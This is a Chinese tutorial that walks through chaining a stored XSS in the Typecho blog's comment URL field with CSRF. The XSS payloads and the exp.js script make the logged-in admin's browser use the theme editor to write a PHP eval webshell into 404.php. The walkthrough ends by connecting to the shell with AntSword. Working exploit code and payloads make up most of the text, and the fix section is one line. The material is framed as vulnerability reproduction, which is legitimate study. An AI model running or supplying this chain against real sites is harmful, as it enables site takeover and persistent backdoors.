我们使用XSS+CSRF打一套组合拳拿下目标站点(typrcho)
一、原理介绍
由于这个xss 和 csrf 漏洞的危害没有那么的直接,但是,如果一个站点同时存在这个两个漏洞,我们可以将其结合在一起(给一个站点先打一个xss,这个xss的内容就是csrf的POC)
二、实例演示
2.1、漏洞描述
Typecho 的github项目仓库留言处有人爆出评论功能的网址填空出现储存型xss漏洞,不少人已经被攻击,目前 Typecho 暂未发布修复该漏洞的教程,但是 Typecho 的 Github 仓库的最新代码已修复该漏洞,并预发布了 Typecho 1.2.1-rc 版本。
2.2、漏洞复现分析
2.2.1、环境搭建
# 首先去GitHub下载源码,然后将文件放在www的目录下,再创建一个数据库,注册并进行登录
https://github.com/typecho/typecho/releases/tag/v1.2.0\
# //需要使用php7以上的环境进行搭建
2.2.2、漏洞复现
# 漏洞点在评论提交的地方,存在xss漏洞,所以我们要闭合并且构造xss攻击代码,发现没有被过滤,进行下一步操作
https://www.baidu.com/"/><script>alert(1)</script><
2.2.3、登陆后台
# 登录后台发现还有弹窗存在,所以我们来构造木马进行攻击
2.2.4、构造恶意的js
# 既然后台可以触发,我们就尝试构造恶意的js代码,对web页面进行修改,把文件更名为exp.js放在www的目录下
function step1(){
var data2="<iframe id=\"testxss\" src=\"/typecho/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" οnlοad=\"poc()\"></iframe>";
var oldata=document.body.innerHTML;
document.body.innerHTML=(oldata+data2);}
var times=0;
var g_shell=0;
function poc(){
if(times<=10){
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
htmldata.innerText=('<?php eval($_POST[\'cmd\']);');
btn[1].click();
//攻击完毕
times+=1;
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/default/404.php?cmd=1');
xhr1.send();
}
else{
return 0;
}
}
}
step1();
# 将我们的js代码设置payload
https://www.baidu.com/"/><script/src=//127.0.0.1/exp.js></script><div/"
# 然后登录后台评论触发页面,触发一下
# 找到外观编辑发现404.PHP
2.2.5、蚁剑连接
# http://127.0.0.1/typecho/usr/themes/default/404.php
# 木马的密码是cmd
2.3、漏洞修复
升级至官方最新版本即可
就相当于一个xss 的js内容是要求已登录用户修改文件或者上传文件
好小子,离成功又近一步!!!